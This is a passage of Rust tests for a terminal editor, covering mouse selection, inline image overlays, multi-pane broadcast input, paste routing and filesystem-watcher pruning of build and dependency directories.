    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let inner = app.terminal().last_inner;
    app.terminal_mut().start_selection_at(inner.x, inner.y);
    app.terminal_mut().extend_selection_to(inner.x + 8, inner.y);
    let expected = app.terminal().selection_text();
    assert!(!expected.is_empty(), "selection must cover some pane text");

    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        inner.x + 8,
        inner.y,
    ));
    let clip = crate::clipboard::read_string().unwrap_or_default();
    assert_eq!(
        clip, expected,
        "finishing the drag must copy the selection when copy_on_select is on"
    );
}

#[test]
fn pane_inline_image_overlay_anchors_hides_when_scrolled_off_and_returns() {
    use base64::Engine;
    let mut png_buf = Vec::new();
    image::RgbaImage::from_pixel(1, 1, image::Rgba([255, 0, 0, 255]))
        .write_to(
            &mut std::io::Cursor::new(&mut png_buf),
            image::ImageFormat::Png,
        )
        .expect("encode test png");
    let png: &[u8] = &png_buf;
    let b64 = base64::engine::general_purpose::STANDARD.encode(png);
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A real protocol + cell geometry: tests run headless, so the values
    // init_graphics would have probed are injected directly.
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::ITerm2;
    app.cell_pixel = Some((10, 20));
    // The image prints first, then enough filler to scroll it into history.
    let script = format!(
        "printf '\\033]1337;File=inline=1:{b64}\\007\\n'; i=0; while [ $i -lt 80 ]; do echo fill-$i; i=$((i+1)); done; sleep 60"
    );
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), script],
        tmp.path(),
    )
    .unwrap();
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the image and its filler",
        || {
            !app.terminals[0].pane_images().is_empty()
                && app.terminals[0]
                    .grid_lines()
                    .0
                    .iter()
                    .any(|l| l.contains("fill-79"))
        },
    );
    app.focus_pane(Pane::Terminal);
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();

    // At the live bottom the anchor sits in scrollback: no overlay.
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        app.terminal_image_payload().is_none(),
        "an off-screen anchor must hide the picture"
    );

    // Scrolling to the top brings the anchor into view: overlay appears,
    // anchored inside the pane at the image's viewport row.
    app.terminal_mut().scroll_to_top();
    term.draw(|f| app.render(f)).unwrap();
    let (osc, layout) = app
        .terminal_image_payload()
        .expect("a visible anchor must produce an overlay payload");
    assert!(
        osc.contains("1337;File=inline=1"),
        "the payload must be a re-baked OSC 1337 image"
    );
    let inner = app.terminal().last_inner;
    assert_eq!(layout.pane, 0);
    assert!(
        layout.cell_y >= inner.y && layout.cell_y < inner.y + inner.height,
        "the picture must anchor inside the pane: {layout:?} vs {inner:?}"
    );
    assert!(layout.cell_w >= 1 && layout.cell_h >= 1);
    // The main loop would flush the escape and mark it displayed.
    app.mark_terminal_image_displayed();

    // Snapping back to the live bottom hides it again and arms the clear.
    app.terminal_mut().reset_scrollback();
    term.draw(|f| app.render(f)).unwrap();
    assert!(app.terminal_image_payload().is_none());
    assert!(
        app.consume_terminal_image_clear(),
        "hiding a displayed picture must arm the clear latch"
    );
}

#[test]
fn quick_select_paints_gold_labels_and_broadcast_paints_modal_and_pills() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let script = "echo grab https://example.com/paint; sleep 60";
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from(script)],
        tmp.path(),
    )
    .unwrap();
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the URL on its own echoed row as well as in the run-label header",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .filter(|l| l.contains("example.com/paint"))
                .count()
                >= 2
        },
    );
    app.focus_pane(Pane::Terminal);
    // Render once BEFORE opening quick select: the first render resizes the
    // pane to its layout size (reflowing the grid), and hints must be
    // computed against the geometry they will be painted in.
    let backend = ratatui::backend::TestBackend::new(140, 50);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.handle_terminal_key(key(
        KeyCode::Char(' '),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    ));
    assert!(app.terminal_quick_select.is_some());
    term.draw(|f| app.render(f)).unwrap();
    let buf = term.backend().buffer();
    let gold = Color::Rgb(0xff, 0xd7, 0x4a);
    let label_cell = (0..buf.area.height)
        .flat_map(|y| (0..buf.area.width).map(move |x| (x, y)))
        .find(|&(x, y)| buf[(x, y)].bg == gold && buf[(x, y)].fg == Color::Black);
    assert!(
        label_cell.is_some(),
        "a quick-select label must paint black-on-gold somewhere in the pane"
    );
    app.handle_terminal_key(key(KeyCode::Esc, KeyModifiers::NONE));

    // Broadcast: the enable confirm modal paints its red title, and once
    // confirmed every receiving pane's name pill carries the ⇶ marker.
    app.terminals.push(
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sh",
            &[String::from("-c"), String::from("sleep 60")],
            tmp.path(),
        )
        .unwrap(),
    );
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('i'), KeyModifiers::NONE)));
    fn screen_rows(term: &ratatui::Terminal<ratatui::backend::TestBackend>) -> Vec<String> {
        let buf = term.backend().buffer();
        (0..buf.area.height)
            .map(|y| {
                (0..buf.area.width)
                    .map(|x| buf[(x, y)].symbol().chars().next().unwrap_or(' '))
                    .collect()
            })
            .collect()
    }
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        screen_rows(&term)
            .iter()
            .any(|r| r.contains("BROADCAST INPUT TO ALL PANES?")),
        "the confirm modal must be painted while pending"
    );
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let marks = screen_rows(&term)
        .iter()
        .map(|r| r.matches('\u{21f6}').count())
        .sum::<usize>();
    assert_eq!(
        marks, 2,
        "both receiving panes must wear the ⇶ broadcast pill"
    );
}

#[test]
fn cmd_k_i_broadcasts_input_to_every_pane_with_confirm_and_auto_off() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let mk = || {
        crate::widgets::terminal::PtyTerminal::new_running(
            "/bin/sh",
            &[
                String::from("-c"),
                String::from("read x; echo got-$x; sleep 30"),
            ],
            tmp.path(),
        )
        .unwrap()
    };
    app.terminals[0] = mk();
    app.terminals.push(mk());
    app.active_terminal = 0;
    app.focus_pane(Pane::Terminal);

    // Cmd+K I asks for confirmation first (the classic multi-pane footgun
    // is typing a destructive command into panes you forgot were listening).
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('i'), KeyModifiers::NONE)));
    assert!(
        app.pending_broadcast_enable,
        "enabling broadcast must be gated on a confirm popup"
    );
    assert!(!app.broadcast_input);
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(app.broadcast_input, "Enter must confirm");
    assert!(!app.pending_broadcast_enable);

    // Typed keys now reach every pane: both shells read the same line.
    for c in ['h', 'i'] {
        app.handle_terminal_key(key(KeyCode::Char(c), KeyModifiers::NONE));
    }
    app.handle_terminal_key(key(KeyCode::Enter, KeyModifiers::NONE));
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the broadcast input to reach every pane",
        || {
            app.terminals
                .iter()
                .all(|t| t.grid_lines().0.iter().any(|l| l.contains("got-hi")))
        },
    );

    // Cmd+K Shift+I toggles the active pane out of the broadcast set.
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('I'), KeyModifiers::SHIFT)));
    assert!(app.terminals[0].broadcast_excluded);

    // Closing down to one pane drops broadcast (safety: never keep
    // broadcasting silently to a shrunk set).
    assert!(app.close_active_terminal());
    assert!(
        !app.broadcast_input,
        "broadcast must switch off when only one pane remains"
    );
}

#[test]
fn trigger_hits_surface_in_the_status_bar_via_the_drain_tick() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.triggers = std::sync::Arc::new(crate::triggers::TriggerSet::from_json(
        r#"[ { "regex": "BUILD (\\w+)", "action": "notify", "message": "build: \\1" } ]"#,
    ));
    // The shell waits for input so the drain tick has pushed the trigger set
    // into the pane before the matching line is produced.
    let script = "read x; echo BUILD OK; sleep 30";
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from(script)],
        tmp.path(),
    )
    .unwrap();
    app.drain_terminal_bells();
    app.terminals[0].write_input(b"\n");
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the trigger to surface in the status line",
        || {
            app.drain_terminal_bells();
            app.status.starts_with("Trigger in")
        },
    );
    assert!(
        app.status.contains("build: OK"),
        "interpolated message expected, status: {}",
        app.status
    );
}

#[test]
fn leaving_the_terminal_closes_its_find_bar() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.handle_terminal_key(key(KeyCode::Char('f'), KeyModifiers::SUPER));
    assert!(app.terminal_find.is_some());
    app.focus_pane(Pane::Editor);
    assert!(
        app.terminal_find.is_none(),
        "moving focus off the terminal must close the find bar so no stale highlight lingers"
    );
}

#[test]
fn mcp_success_opens_a_scratch_tab_and_tells_the_user_where() {
    // Regression: a successful MCP command rendered its output into a scratch
    // tab but the only feedback was a terse "— done", so the user couldn't find
    // the output. poll_mcp must open the tab AND name where it went.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let (tx, rx) = std::sync::mpsc::channel();
    tx.send(crate::mcp::McpOutcome {
        title: String::from("Web: Fetch URL as Markdown"),
        body: Ok(String::from("# Example Domain\n\nbody text")),
    })
    .unwrap();
    app.mcp_rx = Some(rx);
    assert!(app.poll_mcp(), "a delivered outcome must request a redraw");
    let active_path = app
        .editor
        .path
        .as_ref()
        .map(|p| p.to_string_lossy().into_owned())
        .unwrap_or_default();
    assert!(
        active_path.contains("Web: Fetch URL as Markdown"),
        "the fetched markdown must be the active editor tab; active path was {active_path:?}"
    );
    assert!(
        app.status.to_lowercase().contains("tab"),
        "the status must tell the user the output opened in a tab; got: {}",
        app.status
    );
}

#[test]
fn paste_into_input_prompt_fills_it_not_the_focused_pane() {
    // Regression: opening an MCP command's URL prompt then pasting leaked the
    // URL into the focused terminal pane (the popup stayed empty). A bracketed
    // paste while a modal input prompt is open must fill the prompt.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.input_prompt = Some(crate::widgets::input_prompt::InputPrompt::new(
        crate::widgets::input_prompt::InputPurpose::McpArg {
            command_id: String::from("fetch.url"),
        },
        "Web: Fetch URL as Markdown",
        "URL to fetch",
    ));
    app.handle_paste("https://example.com/x");
    assert_eq!(
        app.input_prompt.as_ref().unwrap().value,
        "https://example.com/x",
        "a paste while the input prompt is open must fill the prompt, not leak to the focused pane"
    );
}

#[test]
fn paste_while_terminal_focused_does_not_leak_into_editor_find_bar() {
    // Sibling of paste_while_terminal_focused_does_not_leak_into_search_box,
    // but for the in-file Find bar (Cmd+F). The find bar is pane-scoped, not a
    // modal: once the user clicks into the terminal, a paste meant for the
    // shell must reach the terminal, not get swallowed by the still-open find
    // query. Focus is the deciding factor, not whether editor_find is Some.
    let mut app = editor_app_with_lines(&["alpha beta", "alpha gamma"]);
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.editor_find.is_some(),
        "precondition: Cmd+F opens the inline editor Find bar"
    );
    let query_before = app
        .editor_find
        .as_ref()
        .map(|s| s.query.clone())
        .unwrap_or_default();
    app.focus_pane(Pane::Terminal);
    app.handle_paste("ls -la");
    assert_eq!(
        app.editor_find.as_ref().map(|s| s.query.clone()),
        Some(query_before),
        "a paste must NOT append to the editor Find query when the terminal is focused, even though the find bar is still open"
    );
    assert!(
        matches!(app.focus, Pane::Terminal),
        "focus must stay on the terminal"
    );
}

#[test]
fn offload_drop_runs_the_destructor_off_the_calling_thread() {
    // Regression for the UI freeze: dropping a notify FSEvents watcher runs
    // FsEventWatcher::stop(), which busy-spins on thread::yield_now() until
    // its CFRunLoop thread parks. On a MustScanSubDirs rescan that spin never
    // ends, so dropping on the UI thread (change_workspace_root -> rebind,
    // or disable) freezes the app and pins a core. offload_drop must run the
    // destructor on another thread so the caller never blocks on stop().
    use std::sync::mpsc;
    use std::time::Duration;

    struct DropSignal(mpsc::Sender<std::thread::ThreadId>);
    impl Drop for DropSignal {
        fn drop(&mut self) {
            let _ = self.0.send(std::thread::current().id());
        }
    }

    let (tx, rx) = mpsc::channel();
    let caller = std::thread::current().id();
    super::fs_watch::offload_drop(DropSignal(tx));
    let dropped_on = rx
        .recv_timeout(Duration::from_secs(5))
        .expect("destructor must run within the timeout");
    assert_ne!(
        dropped_on, caller,
        "watcher destructor must run off the calling (UI) thread, not block it"
    );
}

#[test]
fn fs_watcher_does_not_descend_into_protected_top_level_dirs() {
    // Regression for the macOS App Management TCC prompt: when the
    // workspace contains a `Library` subdir at the top level (as $HOME
    // does), the watcher must not call WalkDir+stat into it. Asserted
    // here by making `Library` unreadable (mode 000): a recursive
    // watch would fail spawning because notify_debouncer_full would
    // hit a permission error inside the walk; our split-watch path
    // skips Library entirely and starts cleanly.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join("src")).unwrap();
    std::fs::write(tmp.path().join("src").join("a.txt"), "hi").unwrap();
    let library = tmp.path().join("Library");
    std::fs::create_dir(&library).unwrap();
    std::fs::create_dir(library.join("Containers")).unwrap();
    std::fs::write(library.join("Containers").join("payload"), "x").unwrap();
    // Mode 000 makes any descent fail; if the watcher were to descend,
    // the WalkDir/stat would error during cache init.
    #[cfg(unix)]
    {
        use std::os::unix::fs::PermissionsExt;
        std::fs::set_permissions(&library, std::fs::Permissions::from_mode(0o000)).unwrap();
    }
    let result = super::fs_watch::FsWatch::spawn_watcher(tmp.path());
    // Restore perms so tempdir cleanup works.
    #[cfg(unix)]
    {
        use std::os::unix::fs::PermissionsExt;
        let _ = std::fs::set_permissions(&library, std::fs::Permissions::from_mode(0o755));
    }
    assert!(
        result.is_ok(),
        "watcher must skip protected dirs and start cleanly"
    );
}

#[test]
fn fs_watcher_does_not_deliver_events_from_target_or_node_modules_subtrees() {
    // Regression for the M4 CPU storm: when the workspace contains
    // `target/` or `node_modules/` at the top level, the FSEvents
    // thread used to spend ~60% of its samples inside
    // notify_debouncer_full's FileIdMap memcmp loop processing cargo
    // and npm writes that we then discarded post-event. The fix is to
    // never subscribe to those subtrees in the first place (same
    // split-watch pattern already used for Library/.Trash, extended
    // to NOISE_DIR_NAMES). This test asserts the contract by writing
    // a burst of files into `target/` and verifying the debouncer
    // channel receives zero events for those paths, while writes
    // under a normal sibling like `src/` still come through.
    let tmp = tempfile::tempdir().unwrap();
    let src_raw = tmp.path().join("src");
    let target_raw = tmp.path().join("target");
    let node_modules_raw = tmp.path().join("node_modules");
    std::fs::create_dir(&src_raw).unwrap();
    std::fs::create_dir(&target_raw).unwrap();
    std::fs::create_dir(&node_modules_raw).unwrap();
    let src = src_raw.canonicalize().unwrap();
    let target = target_raw.canonicalize().unwrap();
    let node_modules = node_modules_raw.canonicalize().unwrap();

    let (_debouncer, rx) = super::fs_watch::FsWatch::spawn_watcher(tmp.path())
        .expect("watcher must start cleanly with noise dirs present");

    for _ in 0..30 {
        while rx.try_recv().is_ok() {}
        std::thread::sleep(std::time::Duration::from_millis(10));
    }

    for i in 0..50 {
        std::fs::write(target.join(format!("cargo_{i}.o")), b"x").unwrap();
        std::fs::write(node_modules.join(format!("pkg_{i}.js")), b"x").unwrap();
    }
    std::thread::sleep(std::time::Duration::from_millis(400));

    let mut noise_events: Vec<std::path::PathBuf> = Vec::new();
    while let Ok(batch) = rx.try_recv() {
        for ev in batch.unwrap_or_default() {
            for path in &ev.event.paths {
                if path.starts_with(&target) || path.starts_with(&node_modules) {
                    noise_events.push(path.clone());
                }
            }
        }
    }
    assert!(
        noise_events.is_empty(),
        "writes under target/ and node_modules/ must not produce debouncer events; got {noise_events:?}"
    );

    std::fs::write(src.join("a.rs"), b"fn main() {}").unwrap();
    let started = std::time::Instant::now();
    let mut signal_events: Vec<std::path::PathBuf> = Vec::new();
    while started.elapsed() < std::time::Duration::from_millis(1500) {
        while let Ok(batch) = rx.try_recv() {
            for ev in batch.unwrap_or_default() {
                for path in &ev.event.paths {
                    if path.starts_with(&src) {
                        signal_events.push(path.clone());
                    }
                }
            }
        }
        if !signal_events.is_empty() {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(
        !signal_events.is_empty(),
        "writes under src/ must still produce debouncer events after the noise-dir split"
    );
}

#[test]
fn fs_watcher_prunes_a_go_module_cache_below_the_workspace_root() {
    // The whole reason the watcher's skip predicate takes a &Path rather
    // than a bare file name: `go` cannot be blacklisted by name, so
    // go/pkg/mod is matched as a component run, and that needs the path.
    // Without it the module cache is watched like any other subdir.
    let tmp = tempfile::tempdir().unwrap();
    let cache_raw = tmp.path().join("go/pkg/mod/golang.org/x");
    let src_raw = tmp.path().join("go/cmd");
    std::fs::create_dir_all(&cache_raw).unwrap();
    std::fs::create_dir_all(&src_raw).unwrap();
    let cache = cache_raw.canonicalize().unwrap();
    let src = src_raw.canonicalize().unwrap();

    let (_debouncer, rx) = super::fs_watch::FsWatch::spawn_watcher(tmp.path())
        .expect("watcher must start cleanly with a go module cache present");

    for _ in 0..30 {
        while rx.try_recv().is_ok() {}
        std::thread::sleep(std::time::Duration::from_millis(10));
    }

    for i in 0..50 {
        std::fs::write(cache.join(format!("mod_{i}.go")), b"x").unwrap();
    }
    std::thread::sleep(std::time::Duration::from_millis(400));

    let mut noise_events: Vec<std::path::PathBuf> = Vec::new();
    while let Ok(batch) = rx.try_recv() {
        for ev in batch.unwrap_or_default() {
            for path in &ev.event.paths {
                if path.starts_with(&cache) {
                    noise_events.push(path.clone());
                }
            }
        }
    }
    assert!(
        noise_events.is_empty(),
        "writes under go/pkg/mod must not produce debouncer events; got {noise_events:?}"
    );

    // The sibling go/ source tree is NOT noise and must still deliver.
    std::fs::write(src.join("main.go"), b"package main").unwrap();
    let started = std::time::Instant::now();
    let mut signal_events: Vec<std::path::PathBuf> = Vec::new();
    while started.elapsed() < std::time::Duration::from_millis(1500) {
        while let Ok(batch) = rx.try_recv() {
            for ev in batch.unwrap_or_default() {
                for path in &ev.event.paths {
                    if path.starts_with(&src) {
                        signal_events.push(path.clone());
                    }
                }
            }
        }
        if !signal_events.is_empty() {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(25));
    }
    assert!(
        !signal_events.is_empty(),
        "writes under a real go/cmd source dir must still produce events"
    );
}

#[test]
fn fs_watcher_still_watches_a_workspace_whose_own_path_is_noise_named() {
    // The noise rules describe what is INSIDE a workspace. The root's own
    // ancestors are not part of it, so a checkout that happens to live
    // under a `build/` (or `go/pkg/mod/`) ancestor must be watched
    // normally. Matching the absolute path pruned every child and left the
    // workspace with no watches at all.
    let tmp = tempfile::tempdir().unwrap();
    let root_raw = tmp.path().join("build/myapp");
    let src_raw = root_raw.join("src");
    std::fs::create_dir_all(&src_raw).unwrap();
    let root = root_raw.canonicalize().unwrap();
    let src = src_raw.canonicalize().unwrap();

    let (_debouncer, rx) = super::fs_watch::FsWatch::spawn_watcher(&root)
        .expect("watcher must start for a root under a noise-named ancestor");

    for _ in 0..30 {
        while rx.try_recv().is_ok() {}
        std::thread::sleep(std::time::Duration::from_millis(10));
    }

    std::fs::write(src.join("a.rs"), b"fn main() {}").unwrap();
    let started = std::time::Instant::now();
    let mut signal_events: Vec<std::path::PathBuf> = Vec::new();
    while started.elapsed() < std::time::Duration::from_millis(1500) {
        while let Ok(batch) = rx.try_recv() {
            for ev in batch.unwrap_or_default() {
                for path in &ev.event.paths {
                    if path.starts_with(&src) {
                        signal_events.push(path.clone());
                    }
                }
            }
        }
        if !signal_events.is_empty() {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(25));
    }
    assert!(
        !signal_events.is_empty(),
        "a workspace under a build/ ancestor must still deliver its own events"
    );
}

/// #147 + #539: the PRIMARY instance's poll walks EVERY root's expanded rows,
/// so a multi-root workspace's secondary folders reach the noise classifier
/// matching neither of the primary's own roots. Measured whole, a secondary
/// folder at `<tmp>/build/second` had its `build` ancestor make every change
/// under it read as noise: the poll refreshed the tree but reported
/// `finder_relevant = false`, so the Cmd+P index stayed stale for that folder
/// for as long as it was open.
#[test]
fn poll_classifies_a_secondary_root_against_the_root_that_owns_it() {
    let tmp = tempfile::tempdir().unwrap();
    let primary = tmp.path().join("primary");
    let secondary = tmp.path().join("build/second");
    std::fs::create_dir_all(&primary).unwrap();
    std::fs::create_dir_all(&secondary).unwrap();
    let mut app = App::new(primary.clone()).unwrap();
    // The watcher is off: this is the POLL's question, and leaving events on
    // would let them answer it instead.
    app.fs_watch.disable();
    app.tree.add_root(secondary.clone());

    // Baseline every expanded dir, so the next poll sees ONLY what moves
    // after it. Without this the primary's own row is "changed" too and
    // would set `finder_relevant` on its own, hiding the secondary entirely.
    app.fs_watch.force_poll_due();
    let _ = app.fs_watch.poll(&mut app.tree, &[]);

    std::fs::write(secondary.join("a.rs"), b"fn main() {}").unwrap();
    app.fs_watch.force_poll_due();
    let poll = app.fs_watch.poll(&mut app.tree, &[]);

    assert!(
        poll.dirs_changed,
        "precondition: the write moved the secondary root's mtime"
    );
    assert!(
        poll.finder_relevant,
        "a secondary workspace folder is workspace content, whatever its own \
         path is spelled under"
    );
}

/// #539 review: the WATCHER stopped rooting streams at or above a
/// noise-named ancestor, but `drain` still classified EVENT paths whole. A
/// workspace living under `build/` therefore had every one of its own events
/// read as noise: `changed_files` never filled, so the agent-lane ledger saw
/// nothing, and `finder_relevant` never went true, so the Cmd+P index never
/// rebuilt. That is the same freeze the branch fixes, reached from the other
/// side.
#[test]
fn drain_reports_writes_in_a_workspace_under_a_noise_named_ancestor() {
    let tmp = tempfile::tempdir().unwrap();
    let src_raw = tmp.path().join("build/myapp/src");
    std::fs::create_dir_all(&src_raw).unwrap();
    let root = tmp
        .path()
        .join("build/myapp")
        .canonicalize()
        .expect("the workspace root exists");
    let src = src_raw.canonicalize().unwrap();

    let mut app = App::new(root.clone()).unwrap();
    // Let the watcher thread hand its debouncer over, then swallow whatever
    // the install itself produced, so the only events left are the write's.
    for _ in 1..=FS_SYNC_TICKS {
        app.try_install_pending_init();
        let _ = app.fs_watch.drain(&mut app.tree, &app.editor);
        std::thread::sleep(std::time::Duration::from_millis(10));
    }

    let signal = src.join("a.rs");
    std::fs::write(&signal, b"fn main() {}").unwrap();

    let mut changed: std::collections::BTreeSet<std::path::PathBuf> =
        std::collections::BTreeSet::new();
    let mut finder_relevant = false;
    for _ in 1..=FS_SYNC_TICKS {
        let d = app.fs_watch.drain(&mut app.tree, &app.editor);
        changed.extend(d.changed_files);
        finder_relevant |= d.finder_relevant;
        if changed.contains(&signal) {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(25));
    }
    assert!(
        changed.contains(&signal),
        "a write inside a workspace under a build/ ancestor is the workspace's \
         own content, not noise; got {changed:?}"
    );
    assert!(
        finder_relevant,
        "and it is worth a finder index rebuild, since the finder indexes it"
    );
}

/// A directory made after the watcher started is watched too: on Linux
/// every directory needs its own watch, installed once at startup, so a
/// write inside a new folder used to go unreported.
#[test]
fn writes_inside_a_directory_made_after_startup_are_reported() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    let mut app = App::new(root.clone()).unwrap();
    for _ in 1..=FS_SYNC_TICKS {
        app.try_install_pending_init();
        let _ = app.fs_watch.drain(&mut app.tree, &app.editor);
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    let dir = root.join("newdir");
    std::fs::create_dir(&dir).unwrap();
    let early = dir.join("early.rs");
    std::fs::write(&early, b"1").unwrap();
    let mut changed: std::collections::BTreeSet<std::path::PathBuf> =
        std::collections::BTreeSet::new();
    for _ in 1..=FS_SYNC_TICKS {
        changed.extend(app.fs_watch.drain(&mut app.tree, &app.editor).changed_files);
        if changed.contains(&early) {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(25));
    }
    assert!(changed.contains(&early), "{changed:?}");
    let late = dir.join("late.rs");
    std::fs::write(&late, b"2").unwrap();
    for _ in 1..=FS_SYNC_TICKS {
        changed.extend(app.fs_watch.drain(&mut app.tree, &app.editor).changed_files);
        if changed.contains(&late) {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(25));
    }
    assert!(
        changed.contains(&late),
        "the new folder is watched: {changed:?}"
    );
}

#[test]
fn fs_watcher_prunes_noise_dirs_nested_below_the_workspace_root() {
    // Regression for the freeze when the workspace root is a *parent of
    // repos* (e.g. ~/Documents): there the noise dirs (node_modules/, .git/,
    // target/) are NOT direct children of the root, so the old depth-1
    // pruning missed them and installed one recursive FSEvents watch over
    // the whole tree, re-subscribing every repo's node_modules write storm
    // (confirmed by `sample`: five fsevents loops + a mutex-bound debouncer
    // at ~45% CPU). Pruning must therefore be depth-aware: a noise dir
    // nested under a normal subdir must still never deliver events.
    let tmp = tempfile::tempdir().unwrap();
    let repo_raw = tmp.path().join("repo");
    let src_raw = repo_raw.join("src");
    let node_modules_raw = repo_raw.join("node_modules");
    let git_raw = repo_raw.join(".git");
    std::fs::create_dir_all(&src_raw).unwrap();
    std::fs::create_dir_all(&node_modules_raw).unwrap();
    std::fs::create_dir_all(&git_raw).unwrap();
    let src = src_raw.canonicalize().unwrap();
    let node_modules = node_modules_raw.canonicalize().unwrap();
    let git = git_raw.canonicalize().unwrap();

    let (_debouncer, rx) = super::fs_watch::FsWatch::spawn_watcher(tmp.path())
        .expect("watcher must start cleanly with nested noise dirs present");

    for _ in 0..30 {
        while rx.try_recv().is_ok() {}
        std::thread::sleep(std::time::Duration::from_millis(10));
    }

    for i in 0..50 {
        std::fs::write(node_modules.join(format!("pkg_{i}.js")), b"x").unwrap();
        std::fs::write(git.join(format!("obj_{i}")), b"x").unwrap();
    }
    std::thread::sleep(std::time::Duration::from_millis(400));

    let mut noise_events: Vec<std::path::PathBuf> = Vec::new();
    while let Ok(batch) = rx.try_recv() {
        for ev in batch.unwrap_or_default() {
            for path in &ev.event.paths {
                if path.starts_with(&node_modules) || path.starts_with(&git) {
                    noise_events.push(path.clone());
                }
            }
        }
    }
    assert!(
        noise_events.is_empty(),
        "writes under a repo's nested node_modules/ and .git/ must not produce \
         debouncer events even when the repo is itself a subdir of the root; got {noise_events:?}"
    );

    std::fs::write(src.join("a.rs"), b"fn main() {}").unwrap();
    let started = std::time::Instant::now();
    let mut signal_events: Vec<std::path::PathBuf> = Vec::new();
    while started.elapsed() < std::time::Duration::from_millis(1500) {
        while let Ok(batch) = rx.try_recv() {
            for ev in batch.unwrap_or_default() {
                for path in &ev.event.paths {
                    if path.starts_with(&src) {
                        signal_events.push(path.clone());
                    }
                }
            }
        }
        if !signal_events.is_empty() {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(
        !signal_events.is_empty(),
        "writes under a nested repo/src/ must still produce events after the depth-aware split"
    );
}

// Regression for the two-cores-pegged fan storm: on macOS a "non-recursive"
// FSEvents watch is still a fully recursive stream rooted at the path, so any
// watch target that is an ancestor of a noise dir (target/, node_modules/,
// .git/) re-streams that dir's entire build churn into the fsevents callback
// even though notify discards it before the debouncer. The earlier
// boundary-watch fix left exactly such ancestor watches (on the workspace root
// and on each repo dir) and its tests only checked debouncer events, never the
// callback cost — so the burn shipped. The invariant the watcher MUST hold:
// no installed watch target is an ancestor of any noise dir.
// A parent-of-repos root (e.g. ~/Documents with ~40 repos) holds 100k+
// non-noise dirs. Walking all of them to prove they're noise-free costs
// seconds on the watcher thread and yields thousands of FSEvents watches. The
// walk MUST stop once it has spent its dir-visit budget and let the adaptive
// poll cover the rest, rather than scan the whole tree.
#[cfg(target_os = "macos")]
#[test]
fn macos_watch_walk_stops_when_the_dir_budget_is_spent() {
    let tmp = tempfile::tempdir().unwrap();
    // A dirty root (has .git) so its clean children are collected individually
    // instead of the whole root being watched as one clean subtree.
    std::fs::create_dir_all(tmp.path().join(".git")).unwrap();
    for i in 0..300 {
        std::fs::create_dir_all(tmp.path().join(format!("d{i}/sub"))).unwrap();
    }

    let mut targets: Vec<(std::path::PathBuf, notify::RecursiveMode)> = Vec::new();
    let mut budget = 50usize; // far fewer than the ~600 dirs present
    super::fs_watch::collect_macos_watch_targets(tmp.path(), tmp.path(), &mut targets, &mut budget);

    assert_eq!(
        budget, 0,
        "the walk must spend its whole budget and stop, not visit every dir"
    );
    assert!(
        targets.len() < 300,
        "once the budget caps, not every clean subtree is watched (the poll covers the rest); got {}",
        targets.len()
    );
}

#[cfg(target_os = "macos")]
#[test]
fn macos_watch_targets_never_root_a_stream_above_a_noise_dir() {
    use crate::widgets::file_finder::is_noise_dir;
    // A parent-of-repos layout (~/Documents-shaped): root has no top-level
    // noise, but each repo nested under it carries target/, node_modules/, .git.
    let tmp = tempfile::tempdir().unwrap();
    for repo in ["alpha", "beta"] {
        let r = tmp.path().join(repo);
        std::fs::create_dir_all(r.join("src/inner")).unwrap();
        std::fs::create_dir_all(r.join("target/debug/incremental")).unwrap();
